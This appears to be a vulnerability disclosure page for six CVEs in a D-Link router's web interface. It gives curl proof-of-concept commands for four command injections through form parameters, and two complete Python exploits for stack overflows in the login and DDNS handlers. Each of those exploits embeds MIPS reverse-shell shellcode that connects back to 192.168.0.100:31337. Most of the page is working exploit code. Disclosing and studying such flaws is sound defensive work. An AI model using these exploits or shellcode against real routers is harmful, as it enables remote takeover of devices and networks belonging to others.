### CVE-2018-17066: Command injection
**Vul detail**
In the handler of route /goform/form2systime.cgi, the value of parameter datetime is used in the construction of command date -s "%s", which is later fed to system:
![](https://images.seebug.org/1543479514847-w331s)
So it could lead to command injection with crafted request.
**POC**
There's a random token required by the route, which is used as a mitigation against CSRF. So first we need to get its value:
```
TOKENID=`curl -s http://192.168.0.1/dir_login.asp | grep tokenid | head -1 | grep -o 'value="[0-9]*"' | cut -f 2 -d = | tr -d '"'`
```
Then we could send the crafted parameter along with the token to the route:
```
curl -i -X POST http://192.168.0.1/goform/form2systime.cgi -d tokenid=$TOKENID -d 'datetime=`sleep 5`-:'
```
### CVE-2018-17068: Command injection
**Vul detail**
In the handler of route /goform/Diagnosis, the value of parameter sendNum is used in the construction of command ping -c %s ..., which is later fed to system:
![](https://images.seebug.org/1543479699600-w331s)
So it could lead to command injection with crafted request.
**POC**
There's a random token required by the route, which is used as a mitigation against CSRF. So first we need to get its value:
```
TOKENID=`curl -s http://192.168.0.1/dir_login.asp | grep tokenid | head -1 | grep -o 'value="[0-9]*"' | cut -f 2 -d = | tr -d '"'`
```
Then we could send the crafted parameter along with the token to the route:
```
curl -i -X POST http://192.168.0.1/goform/Diagnosis -d tokenid=$TOKENID -d 'pingAddr=192.168.0.1' -d 'sendNum=3;touch /tmp/test;'
```
### CVE-2018-17064: Command injection
**Vul detail**
In the handler of route /goform/sylogapply, the value of parameter syslogIp is read and set in nvram:
![](https://images.seebug.org/1543479868659-w331s)
But later in the handler of route /goform/clearlog, nvram is read for syslogIp and its value is used in the construction of command syslogd -C4 -R %s ...:
![](https://images.seebug.org/1543479887256-w331s)
So it could lead to command injection with crafted request.
**POC**
There's a random token required by the route, which is used as a mitigation against CSRF. So first we need to get its value:
```
TOKENID=`curl -s http://192.168.0.1/dir_login.asp | grep tokenid | head -1 | grep -o 'value="[0-9]*"' | cut -f 2 -d = | tr -d '"'`
```
Then we send the crafted parameter along with the token to the route /goform/sylogapply:
```
curl -i -X POST http://192.168.0.1/goform/sylogapply -d tokenid=$TOKENID -d remotesyslog=rl -d 'syslogIp=1.1.1.1;touch /tmp/test;'
```
Finally we visit /goform/clearlog to trigger the command execution:
```
curl -i -X POST http://192.168.0.1/goform/clearlog -d tokenid=$TOKENID
```
### CVE-2018-17063: Command injection
**Vul detail**
In the handler of route /goform/NTPSyncWithHost, all parameters are used in the construction of command date -s %s:
![](https://images.seebug.org/1543480084547-w331s)
So it could lead to command injection with crafted request.
**POC**
There's a random token required by the route, which is used as a mitigation against CSRF. So first we need to get its value:
```
TOKENID=`curl -s http://192.168.0.1/dir_login.asp | grep tokenid | head -1 | grep -o 'value="[0-9]*"' | cut -f 2 -d = | tr -d '"'`
```
Then we send the crafted parameter along with the token to the route:
```
curl -i -X POST http://192.168.0.1/goform/NTPSyncWithHost -d '`touch /tmp/test`=1' -d tokenid=$TOKENID
```
### CVE-2018-17067: Stack overflow
**Vul detail**
In the handler of route /goform/formLogin, the value of parameter password is base64 decoded and the result is saved on the stack:
![](https://images.seebug.org/1543480260549-w331s)
However, there's no check on length of the password, and a very long input could lead to stack overflow and overwrite the return address:
![](https://images.seebug.org/1543480303054-w331s)
Moreover, the ASLR is partially open and the heap is at fixed address:
![](https://images.seebug.org/1543480321152-w331s)
Also the heap has permission rwx:
![](https://images.seebug.org/1543480343078-w331s)
Therefore, we could build a very large HTTP header which contains the shellcode, and set the return address to that shellcode.
**POC**
```
#!/usr/bin/env python
# POC code reference: https://0x3f97.github.io/exploit/2018/05/13/D-Link-DIR-816-A2-CN-router-stack-based-buffer-overflow/
from pwn import *
import requests
# First, we need the CSRF token
r=requests.get('http://192.168.0.1/dir_login.asp')
for l in r.content.split('\n'):
if 'tokenid' in l:
q2 = l.rfind('"')
q1 = l[:q2].rfind('"')
tokenid = l[q1+1:q2]
print 'tokenid is %s' % tokenid
# The shellcode would be at 0x48fc18
newRet = '\x18\xfc\x48\x00'
# Reverse shell to 192.168.0.100:31337
# Credit: http://shell-storm.org/shellcode/files/shellcode-860.php
shellcode = "\xff\xff\x04\x28\xa6\x0f\x02\x24\x0c\x09\x09\x01\x11\x11\x04\x28"
shellcode += "\xa6\x0f\x02\x24\x0c\x09\x09\x01\xfd\xff\x0c\x24\x27\x20\x80\x01"
shellcode += "\xa6\x0f\x02\x24\x0c\x09\x09\x01\xfd\xff\x0c\x24\x27\x20\x80\x01"
shellcode += "\x27\x28\x80\x01\xff\xff\x06\x28\x57\x10\x02\x24\x0c\x09\x09\x01"
shellcode += "\xff\xff\x44\x30\xc9\x0f\x02\x24\x0c\x09\x09\x01\xc9\x0f\x02\x24"
shellcode += "\x0c\x09\x09\x01\x79\x69\x05\x3c\x01\xff\xa5\x34\x01\x01\xa5\x20"
shellcode += "\xf8\xff\xa5\xaf\x00\x64\x05\x3c\xc0\xa8\xa5\x34\xfc\xff\xa5\xaf"
shellcode += "\xf8\xff\xa5\x23\xef\xff\x0c\x24\x27\x30\x80\x01\x4a\x10\x02\x24"
shellcode += "\x0c\x09\x09\x01\x62\x69\x08\x3c\x2f\x2f\x08\x35\xec\xff\xa8\xaf"
shellcode += "\x73\x68\x08\x3c\x6e\x2f\x08\x35\xf0\xff\xa8\xaf\xff\xff\x07\x28"
shellcode += "\xf4\xff\xa7\xaf\xfc\xff\xa7\xaf\xec\xff\xa4\x23\xec\xff\xa8\x23"
shellcode += "\xf8\xff\xa8\xaf\xf8\xff\xa5\x23\xec\xff\xbd\x27\xff\xff\x06\x28"
shellcode += "\xab\x0f\x02\x24\x0c\x09\x09\x01"
# A long password for overflow
pl1 = 'a'*160 + newRet*2
rn = "\r\n"
padding = "\x00\x00\x00\x00"
pl2 = ('tokenid=%s&username=abcd&password=' % tokenid) + b64e(pl1)
payload = "POST /goform/formLogin " + "HTTP/1.1" + rn
payload += "Host: 192.168.0.1"+rn
payload += "User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:59.0) Gecko/20100101 Firefox/59.0" + rn
payload += "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8" + rn
payload += "Accept-Language: en-US,en;q=0.5" + rn
payload += "Accept-Encoding: gzip, deflate" + rn
payload += "Cookie: curShow=; ac_login_info=passwork; test=A" + padding*0x100 + shellcode + padding*0x4000 + rn
payload += "Connection: close" + rn
payload += "Upgrade-Insecure-Requests: 1" + rn
payload += ("Content-Length: %d" % len(pl2)) +rn
payload += 'Content-Type: application/x-www-form-urlencoded'+rn
payload += rn
payload += pl2
p = remote('192.168.0.1', 80)
p.send(payload)
print p.recv()
```
### CVE-2018-17065: Stack overflow
**Vul detail**
In the handler of route /goform/DDNS, the value of parameter password is base64 decoded and the result is saved on the stack:
![](https://images.seebug.org/1543480580534-w331s)
However, there's no check on length of the password, and a very long input could lead to stack overflow and overwrite the return address:
![](https://images.seebug.org/1543480601743-w331s)
Just as the previous one, the heap is at fixed address with permission rwx. So we could build a very large HTTP header which contains the shellcode, and set the return address to that shellcode.
**POC**
```
#!/usr/bin/env python
# POC code reference: https://0x3f97.github.io/exploit/2018/05/13/D-Link-DIR-816-A2-CN-router-stack-based-buffer-overflow/
from pwn import *
import requests
# First, we need the CSRF token
r=requests.get('http://192.168.0.1/dir_login.asp')
for l in r.content.split('\n'):
if 'tokenid' in l:
q2 = l.rfind('"')
q1 = l[:q2].rfind('"')
tokenid = l[q1+1:q2]
print 'tokenid is %s' % tokenid
# The shellcode would be at 0x48fc18
newRet = '\x18\xfc\x48\x00'
# Reverse shell to 192.168.0.100:31337
# Credit: http://shell-storm.org/shellcode/files/shellcode-860.php
shellcode = "\xff\xff\x04\x28\xa6\x0f\x02\x24\x0c\x09\x09\x01\x11\x11\x04\x28"
shellcode += "\xa6\x0f\x02\x24\x0c\x09\x09\x01\xfd\xff\x0c\x24\x27\x20\x80\x01"
shellcode += "\xa6\x0f\x02\x24\x0c\x09\x09\x01\xfd\xff\x0c\x24\x27\x20\x80\x01"
shellcode += "\x27\x28\x80\x01\xff\xff\x06\x28\x57\x10\x02\x24\x0c\x09\x09\x01"
shellcode += "\xff\xff\x44\x30\xc9\x0f\x02\x24\x0c\x09\x09\x01\xc9\x0f\x02\x24"
shellcode += "\x0c\x09\x09\x01\x79\x69\x05\x3c\x01\xff\xa5\x34\x01\x01\xa5\x20"
shellcode += "\xf8\xff\xa5\xaf\x00\x64\x05\x3c\xc0\xa8\xa5\x34\xfc\xff\xa5\xaf"
shellcode += "\xf8\xff\xa5\x23\xef\xff\x0c\x24\x27\x30\x80\x01\x4a\x10\x02\x24"
shellcode += "\x0c\x09\x09\x01\x62\x69\x08\x3c\x2f\x2f\x08\x35\xec\xff\xa8\xaf"
shellcode += "\x73\x68\x08\x3c\x6e\x2f\x08\x35\xf0\xff\xa8\xaf\xff\xff\x07\x28"
shellcode += "\xf4\xff\xa7\xaf\xfc\xff\xa7\xaf\xec\xff\xa4\x23\xec\xff\xa8\x23"
shellcode += "\xf8\xff\xa8\xaf\xf8\xff\xa5\x23\xec\xff\xbd\x27\xff\xff\x06\x28"
shellcode += "\xab\x0f\x02\x24\x0c\x09\x09\x01"
# A long password for overflow
pl1 = newRet*45
rn = "\r\n"
padding = "\x00\x00\x00\x00"
pl2 = ('tokenid=%s&enable=1&hostname=ddns&username=abcd&password=' % tokenid) + b64e(pl1)
payload = "POST /goform/DDNS " + "HTTP/1.1" + rn
payload += "Host: 192.168.0.1"+rn
payload += "User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:59.0) Gecko/20100101 Firefox/59.0" + rn
payload += "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8" + rn
payload += "Accept-Language: en-US,en;q=0.5" + rn
payload += "Accept-Encoding: gzip, deflate" + rn
payload += "Cookie: curShow=; ac_login_info=passwork; test=A" + padding*0x100 + shellcode + padding*0x4000 + rn
payload += "Connection: close" + rn
payload += "Upgrade-Insecure-Requests: 1" + rn
payload += ("Content-Length: %d" % len(pl2)) +rn
payload += 'Content-Type: application/x-www-form-urlencoded'+rn
payload += rn
payload += pl2
p = remote('192.168.0.1', 80)
p.send(payload)
print p.recv()
```
暂无评论